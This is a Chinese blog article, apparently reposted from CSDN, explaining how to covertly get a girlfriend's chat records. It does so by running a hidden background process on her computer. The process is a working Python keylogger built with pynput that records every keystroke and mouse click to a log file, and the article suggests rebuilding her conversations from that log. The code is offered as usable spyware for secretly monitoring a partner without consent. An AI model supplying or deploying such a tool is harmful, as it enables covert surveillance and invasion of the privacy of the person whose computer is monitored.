新闻动态

Python获取女友聊天记录详细流程

发布日期:2021-12-23 15:18 | 文章来源:CSDN

A朋友:你直接问。
B朋友:你女朋友睡了后,偷偷拿电脑查。
C朋友:咱们不吊死在一棵树上,不对劲就早点脱身。
D朋友:我觉得A的不行,直接问容易打草惊蛇,不过他在你面前表现的这么明显,你可以去找他聊下,你们之间是不是感情出问题了。
F朋友:嘿,我不和你离的不远吗?支开你女朋友我上你家,帮你搞个能获得聊天记录的,这不就完美了吗?

1.使用pynput库

pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。

2.对键盘监控

在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:

from pynput import keyboard
 
 
def on_press(key):
 print(f'{key} :pushed')
 
def on_release(key):
 #print(f'{key} released')
 if key == keyboard.Key.esc:
  # Stop listener
  return False
 
 
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
 lsn.join()

控制台打印:

3.对鼠标监控

from pynput import mouse
 
def on_click(x, y, button, pressed):
 if button == mouse.Button.left:
  print('left was pressed!')
 elif button == mouse.Button.right:
  print('right was pressed!')
  return False
 else:
  print('mid was pressed!')
 
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
 listener.join()

控制台打印:

你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。

4.监控并记录到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
 
# 定义日志文件
logger.add('demo.log')
def on_press(key):
 logger.debug(f'{key} :pushed')
 
def on_release(key):
 #print(f'{key} released')
 if key == keyboard.Key.esc:
  # Stop listener
  return False
 
# 定义f1用于线程1
def f1():
 with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
  lsn.join()
 
 
 
def on_click(x, y, button, pressed):
 if button == mouse.Button.left:
  logger.debug('left was pressed!')
 elif button == mouse.Button.right:
  logger.debug('right was pressed!')
  return False
 else:
  logger.debug('mid was pressed!')
 
# 定义f2用于线程2
def f2():
 # Collect events until released
 with mouse.Listener(on_click=on_click) as listener:
  listener.join()
 
 
if __name__ == '__main__':
 # 起两个线程分别监控键盘和鼠标
 t1 = Thread(target=f1)
 t2 = Thread(target=f2)
 t1.start()
 t2.start()

查看日志内容:

这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原聊天记录。
这个记录就不给你们展示了,属于隐私,但能告诉你们结果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身体有点不行了,但又好面子,所以偷偷给他在网上买补药,想给他补补~笑死

到此这篇关于Python获取女友聊天记录详细流程的文章就介绍到这了,更多相关Python 获取聊天记录内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!

版权声明:本站文章来源标注为YINGSOO的内容版权均为本站所有,欢迎引用、转载,请保持原文完整并注明来源及原文链接。禁止复制或仿造本网站,禁止在非www.yingsoo.com所属的服务器上建立镜像,否则将依法追究法律责任。本站部分内容来源于网友推荐、互联网收集整理而来,仅供学习参考,不代表本站立场,如有内容涉嫌侵权,请联系alex-e#qq.com处理。

相关文章

实时开通

自选配置、实时开通

免备案

全球线路精选!

全天候客户服务

7x24全年不间断在线

专属顾问服务

1对1客户咨询顾问

在线
客服

在线客服:7*24小时在线

客服
热线

400-630-3752
7*24小时客服服务热线

关注
微信

关注官方微信
顶部